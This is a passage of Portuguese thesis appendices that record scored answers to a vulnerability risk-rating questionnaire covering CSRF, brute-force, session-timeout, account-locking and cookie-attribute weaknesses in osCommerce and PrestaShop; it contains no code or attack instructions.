Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso completo (9).

Qual o tamanho deste grupo de atacantes?
e Usudrios de internet anonimos (9).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Dificil (3).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Oculto (4).

Qual a probabilidade de uma exploragao ser detectada?

e Nao registrado (9).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
¢ O minimo de dados ndo confidenciais divulgados (2).

Qual a quantidade de dados pode ser corrompida e danificada?

¢ O minimo de dados ligeiramente corrompidos (1).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultara uma exploracao?
e Menos do que o custo para corrigir a vulnerabilidade (1).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informagao pessoal e identificavel pode ser divulgada?

e Uma pessoa (3).
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ANEXO D — RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE CSRF DO OSCOMMERCE

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Habilidades de seguranca e pentest (9).

Como ¢ motivado este grupo de atacantes a encontrar € explorar essa vulnerabilidade?
e Possivel recompensa (4).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso limitado (4).

Qual o tamanho deste grupo de atacantes?
e Administradores de sistemas (2).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Dificil (3).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Oculto (4).

Qual a probabilidade de uma exploragao ser detectada?

e Nao registrado (9).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
e Extensos dados ndo sensiveis divulgados (6).

Qual a quantidade de dados pode ser corrompida e danificada?

e Extensos dados e pouco corrompidos (5).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
e O minimo de servigos primarios interrompidos (5).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultard uma exploracao?
e Pequeno efeito no lucro anual (3).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informacao pessoal e identificavel pode ser divulgada?

e (Centenas de pessoas (5).
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ANEXO E — RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE LOCKING ACCOUNTS DO
OSCOMMERCE

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Algumas habilidades técnicas (3).

Como ¢ motivado este grupo de atacantes a encontrar e explorar essa vulnerabilidade?
e Recompensa baixa ou nenhuma (1).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Sem acesso conhecido (0).

Qual o tamanho deste grupo de atacantes?
e Usudrios de internet anonimos (9).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Facilmente (7).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Ferramentas automatizadas disponiveis (9).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Obvio (6).

Qual a probabilidade de uma exploragao ser detectada?

e Nao registrado (9).

Questdes sobre probabilidade impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
¢ O minimo de dados ndo confidenciais divulgados (2).

Qual a quantidade de dados pode ser corrompida e danificada?

¢ O minimo de dados ligeiramente corrompidos (1).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre probabilidade impacto no negocio:

Quanto de dano financeiro resultard uma exploracao?
e Menos do que o custo para corrigir a vulnerabilidade (1).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informacao pessoal e identificavel pode ser divulgada?

e Uma pessoa (3).
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ANEXO F - RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE FORCA BRUTA DO PRESTASHOP

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Algumas habilidades técnicas (3).

Como ¢ motivado este grupo de atacantes a encontrar € explorar essa vulnerabilidade?
e Recompensa baixa ou nenhuma (1).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso completo (9).

Qual o tamanho deste grupo de atacantes?
e Usuadrios de internet anonimos (9).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Facilmente (7).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Obvio (6).

Qual a probabilidade de uma exploragao ser detectada?

e Somente registrado (8).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
e O minimo de dados nao confidenciais divulgados (2).

Qual a quantidade de dados pode ser corrompida e danificada?

e O minimo de dados ligeiramente corrompidos (1).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultara uma exploracao?
e Menos do que o custo para corrigir a vulnerabilidade (1).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informagao pessoal e identificavel pode ser divulgada?

e Uma pessoa (3).
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ANEXO G — RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE FORCA BRUTA DO PRESTASHOP

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Algumas habilidades técnicas (3).

Como ¢ motivado este grupo de atacantes a encontrar € explorar essa vulnerabilidade?
e Possivel recompensa (4).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso completo (9).

Qual o tamanho deste grupo de atacantes?
e Usuadrios de internet anonimos (9).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Facilmente (7).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Obvio (6).

Qual a probabilidade de uma exploragao ser detectada?

e Somente registrado (8).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
¢ O minimo de dados nao confidenciais divulgados (2).

Qual a quantidade de dados pode ser corrompida e danificada?

e O minimo de dados ligeiramente corrompidos (1).



Quanto a disponibilidade, qual a quantidade de servicos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultara uma exploracao?
e Pequeno efeito no lucro anual (3).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informagao pessoal e identificavel pode ser divulgada?

e (entenas de pessoas (5).
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ANEXO H — RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE TIMEOUT PRESTASHOP

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Habilidades de seguranca e pentest (9).

Como ¢ motivado este grupo de atacantes a encontrar € explorar essa vulnerabilidade?
e Recompensa baixa ou nenhuma (1).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso completo (9).

Qual o tamanho deste grupo de atacantes?
e Parceiros (5).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Facilmente (7).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Oculto (4).

Qual a probabilidade de uma exploragao ser detectada?

e Nao registrado (9).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
e O minimo de dados nao confidenciais divulgados (2).

Qual a quantidade de dados pode ser corrompida e danificada?

e O minimo de dados ligeiramente corrompidos (1).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultara uma exploracao?
e Menos do que o custo para corrigir a vulnerabilidade (1).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informagao pessoal e identificavel pode ser divulgada?

e Uma pessoa (3).
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ANEXO I - RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE TIMEOUT PRESTASHOP

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Habilidades de seguranca e pentest (9).

Como ¢ motivado este grupo de atacantes a encontrar € explorar essa vulnerabilidade?
e Recompensa baixa ou nenhuma (1).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso limitado (4).

Qual o tamanho deste grupo de atacantes?
e Parceiros (5).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Facilmente (7).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Oculto (4).

Qual a probabilidade de uma exploragao ser detectada?

e Nao registrado (9).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
e O minimo de dados criticos divulgados (6).

Qual a quantidade de dados pode ser corrompida e danificada?

¢ O minimo de dados seriamente corrompidos (3).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultara uma exploracao?
e Pequeno efeito no lucro anual (3).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informagao pessoal e identificavel pode ser divulgada?

e (entenas de pessoas (5).
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ANEXO J - RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE COOKIES ATTRIBUTES
PRESTASHOP

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Algumas habilidades técnicas (3).

Como ¢ motivado este grupo de atacantes a encontrar e explorar essa vulnerabilidade?
e Possivel recompensa (4).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso completo (9).

Qual o tamanho deste grupo de atacantes?
e Usuarios autenticados (6).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Facilmente (7).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Obvio (6).

Qual a probabilidade de uma exploragao ser detectada?

e Nao registrado (9).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
¢ O minimo de dados ndo confidenciais divulgados (2).

Qual a quantidade de dados pode ser corrompida e danificada?

e O minimo de dados ligeiramente corrompidos (1).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultara uma exploracao?
e Menos do que o custo para corrigir a vulnerabilidade (1).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informagao pessoal e identificavel pode ser divulgada?

e Uma pessoa (3).
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ANEXO K — RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE COOKIES ATTRIBUTES
PRESTASHOP

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Algumas habilidades técnicas (3).

Como ¢ motivado este grupo de atacantes a encontrar e explorar essa vulnerabilidade?
e Possivel recompensa (4).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso completo (9).

Qual o tamanho deste grupo de atacantes?
e Usuarios autenticados (6).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Facilmente (7).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Obvio (6).

Qual a probabilidade de uma exploragado ser detectada?

e Nao registrado (9).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
¢ O minimo de dados criticos divulgados (6).

Qual a quantidade de dados pode ser corrompida e danificada?

e Extensos dados e pouco corrompidos (5).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultard uma exploracao?
e Menos do que o custo para corrigir a vulnerabilidade (1).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informacao pessoal e identificavel pode ser divulgada?

e (Centenas de pessoas (5).

93



ANEXO L — RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE CSRF PRESTASHOP

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Habilidades de seguranca e pentest (9).

Como ¢ motivado este grupo de atacantes a encontrar € explorar essa vulnerabilidade?
e Possivel recompensa (4).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso limitado (4).

Qual o tamanho deste grupo de atacantes?
e Desenvolvedores (2).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Dificil (3).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Oculto (4).

Qual a probabilidade de uma exploragao ser detectada?

e Nao registrado (9).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
e O minimo de dados nao confidenciais divulgados (2).

Qual a quantidade de dados pode ser corrompida e danificada?

e O minimo de dados ligeiramente corrompidos (1).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
¢ O minimo de servigos secundarios interrompidos (1).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultara uma exploracao?
e Menos do que o custo para corrigir a vulnerabilidade (1).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informagao pessoal e identificavel pode ser divulgada?

e Uma pessoa (3).
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ANEXO M - RESPOSTAS DO QUESTIONARIO DE PROBABILIDADE E
IMPACTO DA VULNERABILIDADE DE CSRF PRESTASHOP

Questdes sobre probabilidade:

Como ¢ qualificado tecnicamente o grupo de atacantes?
e Habilidades de seguranca e pentest (9).

Como ¢ motivado este grupo de atacantes a encontrar € explorar essa vulnerabilidade?
e Possivel recompensa (4).

Quantas oportunidades esse grupo de atacantes tem para encontrar e explorar essa

vulnerabilidade?
e Acesso limitado (4).

Qual o tamanho deste grupo de atacantes?
e Administradores de sistemas (2).

Como ¢ a facilidade desse grupo de atacantes descobrirem esta vulnerabilidade?
e Dificil (3).

Como ¢ a facilidade desse grupo de atacantes explorar essa vulnerabilidade?
e Dificil (3).

Como ¢ o conhecimento sobre esta vulnerabilidade por este grupo de atacantes?
e Oculto (4).

Qual a probabilidade de uma exploragao ser detectada?

e Nao registrado (9).

Questdes sobre impacto técnico:

Quantos dados podem ser divulgados e qual a sensibilidade deles?
e Extensos dados ndo sensiveis divulgados (6).

Qual a quantidade de dados pode ser corrompida e danificada?

e Extensos dados e pouco corrompidos (5).



Quanto a disponibilidade, qual a quantidade de servigos perdidos e quao vital isso ¢?
e O minimo de servigos primarios interrompidos (5).
As agdes dos invasores sdo rastreaveis?

e Possivelmente rastreavel (7).

Questdes sobre impacto no negocio:

Quanto de dano financeiro resultard uma exploracao?
e Pequeno efeito no lucro anual (3).

Quanto de danos a reputacao e prejudicaria o negdcio uma exploragao?
e Danos minimos (1).

Quanto de ndo cumprimento de servigos aos clientes pode gerar uma exploragao?
e Violagdo pequena (2).

Quanta informacao pessoal e identificavel pode ser divulgada?

e (Centenas de pessoas (5).
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